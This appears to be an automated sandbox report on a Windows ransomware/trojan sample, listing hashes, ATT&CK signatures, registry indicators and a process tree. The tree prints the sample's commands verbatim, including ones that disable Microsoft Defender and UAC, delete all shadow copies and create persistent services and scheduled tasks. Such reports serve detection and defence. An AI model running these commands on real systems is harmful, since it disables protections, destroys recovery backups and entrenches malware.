a3811fe6dee3511dc1e41c74187c82e8bed0dde4b491d89ea66c8aab25614720

Analysis

user interaction
yes
max time kernel
7s
max time network
22s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/07/2026, 12:40

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
x_plfg.exe
Size 60.0MB
Sample260704-pwpdnabt2q
SHA256 a3811fe6dee3511dc1e41c74187c82e8bed0dde4b491d89ea66c8aab25614720
MD5 5ffbae8bd604b57b4ca3e1d798afcc76
SHA1 83d1eeb40b6319d83537bc2a792b29d163e1ed6b
SHA512 714a66fb2f84a2aaf07fb17984c5ab54091899832e84944dd93d6537d6907286a31459d741f7703ff9419b41a4e40186cdef05b16cf82fd9a4ce0fcf0b7c5440
SSDEEP 786432:8WZ4Zim0B+l1kTXub0mEEW0VLque+spBOnqts8gXXgTSVrVgTjVne6ffE68Drtqf:8g4ZLQ2KbGPTe7Mqs8ggTyrGleuJ8DrG
TLSH
T1E6D733ABE1F319AAC3ABD0FCC6D777F27678780D203D98660E04D97526792407F68684
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery evasion execution impact persistence privilege_escalation ransomware trojan

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3865087520-2734723108-1233268525-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe\""	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\system32\\userinit.exe,,\"C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe\""	x_plfg.exe

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 8 IoCs

defense_evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe

UAC bypass 3 TTPs 3 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Adds policy Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3865087520-2734723108-1233268525-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	x_plfg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3865087520-2734723108-1233268525-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\HostAgent = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\HelperMgr = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe

Boot or Logon Autostart Execution: Active Setup 2 TTPs 2 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{UpdateHelperSvcProc-lvrium}\StubPath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{UpdateHelperSvcProc-lvrium}	x_plfg.exe

Boot or Logon Autostart Execution: Port Monitors 1 TTPs 2 IoCs

Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation.

persistence

Port Monitors

T1547.010

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\WinProc	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\WinProc\Driver = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe

Disables one or more Microsoft Defender components 1 TTPs 2 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
2024	powershell.exe
4312	powershell.exe

Event Triggered Execution: AppInit DLLs 1 TTPs
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.
persistence privilege_escalation

AppInit DLLs
T1546.010

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 2 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe

Sets service image path in registry 3 TTPs 2 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Core32\ImagePath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Runtime32\ImagePath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 1 IoCs

pid	Process
3416	Update32.exe

Impair Defenses: Safe Mode Boot 1 TTPs 2 IoCs

defense_evasion

Safe Mode Boot

T1562.009

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\Runtime32	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\Runtime32\ = "Service"	x_plfg.exe

Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs

persistence

Logon Script (Windows)

T1037.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3865087520-2734723108-1233268525-1000\Environment\UserInitMprLogonScript = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinHelper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Helper64 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3865087520-2734723108-1233268525-1000\Software\Microsoft\Windows\CurrentVersion\Run\SvcProc = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3865087520-2734723108-1233268525-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\LoaderSvc = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4312	powershell.exe
2024	powershell.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	api.ipify.org
2	api.ipify.org

Drops file in System32 directory 5 IoCs

description	ioc	Process
File created	C:\Windows\System32\CoreMgr.exe	x_plfg.exe
File created	C:\Windows\SysWOW64\Sys32.exe	x_plfg.exe
File created	C:\Windows\system32\config\systemprofile\Desktop\AgentProc.exe	x_plfg.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Roaming\Core32.exe	x_plfg.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\NetHost.exe	x_plfg.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 9 IoCs

pid	Process
1988	x_plfg.exe
2656	x_plfg.exe
5688	x_plfg.exe
2236	x_plfg.exe
4744	x_plfg.exe
6112	x_plfg.exe
8	x_plfg.exe
3416	Update32.exe
1752	x_plfg.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files\HelperTask.exe	x_plfg.exe
File created	C:\Program Files (x86)\HelperTask.exe	x_plfg.exe

Drops file in Windows directory 7 IoCs

description	ioc	Process
File created	C:\Windows\ServiceProfiles\NetworkService\Desktop\LoaderAgent.exe	x_plfg.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\SvcMonitor.exe	x_plfg.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\CoreMgr.exe	x_plfg.exe
File created	C:\Windows\AgentSvc.exe	x_plfg.exe
File created	C:\Windows\ServiceProfiles\LocalService\Desktop\Helper32.exe	x_plfg.exe
File created	C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\NetSvc.exe	x_plfg.exe
File created	C:\Windows\ServiceProfiles\LocalService\AppData\Local\RuntimeSvc.exe	x_plfg.exe

Launches sc.exe 6 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4704	sc.exe
1904	sc.exe
2980	sc.exe
2712	sc.exe
796	sc.exe
1676	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
792	msedge.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4356	vssadmin.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1732	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4312	powershell.exe
4312	powershell.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeDebugPrivilege	4312	powershell.exe
Token: SeIncreaseQuotaPrivilege	4312	powershell.exe
Token: SeSecurityPrivilege	4312	powershell.exe
Token: SeTakeOwnershipPrivilege	4312	powershell.exe
Token: SeLoadDriverPrivilege	4312	powershell.exe
Token: SeSystemProfilePrivilege	4312	powershell.exe
Token: SeSystemtimePrivilege	4312	powershell.exe
Token: SeProfSingleProcessPrivilege	4312	powershell.exe
Token: SeIncBasePriorityPrivilege	4312	powershell.exe
Token: SeCreatePagefilePrivilege	4312	powershell.exe
Token: SeBackupPrivilege	4312	powershell.exe
Token: SeRestorePrivilege	4312	powershell.exe
Token: SeShutdownPrivilege	4312	powershell.exe
Token: SeDebugPrivilege	4312	powershell.exe
Token: SeSystemEnvironmentPrivilege	4312	powershell.exe
Token: SeRemoteShutdownPrivilege	4312	powershell.exe
Token: SeUndockPrivilege	4312	powershell.exe
Token: SeManageVolumePrivilege	4312	powershell.exe
Token: 33	4312	powershell.exe
Token: 34	4312	powershell.exe
Token: 35	4312	powershell.exe
Token: 36	4312	powershell.exe
Token: SeBackupPrivilege	3584	vssvc.exe
Token: SeRestorePrivilege	3584	vssvc.exe
Token: SeAuditPrivilege	3584	vssvc.exe

Suspicious use of WriteProcessMemory 38 IoCs

description	pid	Process	procid_target
PID 1988 wrote to memory of 4224	1988	x_plfg.exe	88
PID 4224 wrote to memory of 1300	4224	cmd.exe	90
PID 1988 wrote to memory of 5592	1988	x_plfg.exe	91
PID 5592 wrote to memory of 4940	5592	cmd.exe	93
PID 1988 wrote to memory of 5736	1988	x_plfg.exe	94
PID 5736 wrote to memory of 4312	5736	cmd.exe	96
PID 1988 wrote to memory of 4600	1988	x_plfg.exe	98
PID 4600 wrote to memory of 4704	4600	cmd.exe	100
PID 1988 wrote to memory of 4552	1988	x_plfg.exe	101
PID 4552 wrote to memory of 1904	4552	cmd.exe	103
PID 1988 wrote to memory of 3844	1988	x_plfg.exe	104
PID 3844 wrote to memory of 2980	3844	cmd.exe	106
PID 1988 wrote to memory of 6076	1988	x_plfg.exe	107
PID 6076 wrote to memory of 2712	6076	cmd.exe	109
PID 1988 wrote to memory of 4468	1988	x_plfg.exe	110
PID 4468 wrote to memory of 4356	4468	cmd.exe	112
PID 1988 wrote to memory of 1040	1988	x_plfg.exe	115
PID 1040 wrote to memory of 4560	1040	cmd.exe	117
PID 1040 wrote to memory of 2944	1040	cmd.exe	118
PID 1040 wrote to memory of 4044	1040	cmd.exe	119
PID 1040 wrote to memory of 1912	1040	cmd.exe	120
PID 1040 wrote to memory of 1196	1040	cmd.exe	121
PID 1040 wrote to memory of 1428	1040	cmd.exe	122
PID 1040 wrote to memory of 4964	1040	cmd.exe	123
PID 1040 wrote to memory of 2672	1040	cmd.exe	124
PID 1040 wrote to memory of 5852	1040	cmd.exe	125
PID 1040 wrote to memory of 204	1040	cmd.exe	126
PID 1988 wrote to memory of 124	1988	x_plfg.exe	127
PID 124 wrote to memory of 4532	124	cmd.exe	129
PID 124 wrote to memory of 5884	124	cmd.exe	130
PID 124 wrote to memory of 5212	124	cmd.exe	131
PID 1988 wrote to memory of 5336	1988	x_plfg.exe	132
PID 5336 wrote to memory of 2656	5336	cmd.exe	134
PID 5336 wrote to memory of 5688	5336	cmd.exe	135
PID 5336 wrote to memory of 1732	5336	cmd.exe	136
PID 1988 wrote to memory of 5164	1988	x_plfg.exe	145
PID 5164 wrote to memory of 1752	5164	cmd.exe	147
PID 5164 wrote to memory of 2260	5164	cmd.exe	148

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
"C:\Users\Admin\AppData\Local\Temp\x_plfg.exe"
1⤵
- Modifies WinLogon for persistence
- Adds policy Run key to start application
- Boot or Logon Autostart Execution: Active Setup
- Boot or Logon Autostart Execution: Port Monitors
- Event Triggered Execution: Image File Execution Options Injection
- Sets service image path in registry
- Impair Defenses: Safe Mode Boot
- Registers new Windows logon scripts automatically executed at logon.
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:1988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 4 /f 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4224
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 4 /f
    3⤵
    PID:1300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 4 /f 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5592
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 4 /f
    3⤵
    PID:4940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5736
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2"
    3⤵
    - Disables one or more Microsoft Defender components
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4600
- - C:\Windows\system32\sc.exe
    sc config WinDefend start=disabled
    3⤵
    - Launches sc.exe
    PID:4704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4552
- - C:\Windows\system32\sc.exe
    sc stop WinDefend
    3⤵
    - Launches sc.exe
    PID:1904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c sc config wscsvc start=disabled 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3844
- - C:\Windows\system32\sc.exe
    sc config wscsvc start=disabled
    3⤵
    - Launches sc.exe
    PID:2980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c sc stop wscsvc 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6076
- - C:\Windows\system32\sc.exe
    sc stop wscsvc
    3⤵
    - Launches sc.exe
    PID:2712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4468
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 4 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 4 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SpynetReporting /t REG_DWORD /d 0 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1040
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 4 /f
    3⤵
    PID:4560
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 4 /f
    3⤵
    PID:2944
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    PID:4044
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1912
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1196
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1428
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4964
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f
    3⤵
    PID:2672
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SpynetReporting /t REG_DWORD /d 0 /f
    3⤵
    PID:5852
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
    3⤵
    PID:204
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f 2>nul & reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f 2>nul & reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v PromptOnSecureDesktop /t REG_DWORD /d 0 /f 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:124
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    PID:4532
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    PID:5884
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v PromptOnSecureDesktop /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    PID:5212
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /Create /F /SC ONLOGON /TN "AgentSvc" /TR "\"C:\Users\Admin\AppData\Roaming\Update32.exe\"" /RL HIGHEST
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5336
- - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:2656
- - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:5688
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /F /SC ONLOGON /TN "AgentSvc" /TR "\"C:\Users\Admin\AppData\Roaming\Update32.exe\"" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c sc create "Runtime32" binPath= "\"C:\Users\Admin\AppData\Local\Temp\x_plfg.exe\"" start= auto type= own DisplayName= "Runtime32" 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5164
- - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:1752
- - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    3⤵
    PID:2260
- - C:\Windows\system32\sc.exe
    sc create "Runtime32" binPath= "\"C:\Users\Admin\AppData\Local\Temp\x_plfg.exe\"" start= auto type= own DisplayName= "Runtime32"
    3⤵
    - Launches sc.exe
    PID:796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c sc start "Runtime32" 2>nul
  2⤵
  PID:980
- - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    3⤵
    PID:1960
- - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    3⤵
    PID:3340
- - C:\Windows\system32\sc.exe
    sc start "Runtime32"
    3⤵
    - Launches sc.exe
    PID:1676
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/watch?v=H_WN-xTp7oU
  2⤵
  PID:5016
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f8,0x2fc,0x300,0x2f4,0x2c8,0x7ffcd00bc188,0x7ffcd00bc194,0x7ffcd00bc1a0
    3⤵
    PID:5372
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
